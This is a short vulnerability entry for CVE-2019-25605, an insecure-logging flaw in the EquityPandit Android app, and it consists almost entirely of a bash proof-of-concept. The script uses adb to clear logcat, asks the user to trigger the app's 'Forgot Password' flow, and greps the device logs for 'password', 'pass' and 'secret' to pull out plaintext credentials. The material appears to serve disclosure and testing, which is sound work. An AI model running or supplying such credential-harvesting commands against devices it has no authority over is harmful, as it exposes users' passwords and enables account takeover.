CVE-2019-25605 EquityPandit不安全日志漏洞

#!/bin/bash # PoC for CVE-2019-25605: EquityPandit Insecure Logging # Description: Retrieves plaintext passwords from Android logcat. # Step 1: Check ADB connection adb devices # Step 2: Clear logcat buffer to reduce noise adb logcat -c # Step 3: Instruct user to trigger the 'Forgot Password' function on the device echo "Please trigger the 'Forgot Password' function on the EquityPandit app now..." # Step 4: Monitor logs for potential password leaks # Common keywords to search for: 'password', 'pass', 'secret', or specific app package adb logcat -v time | grep -i -E "password|pass|secret"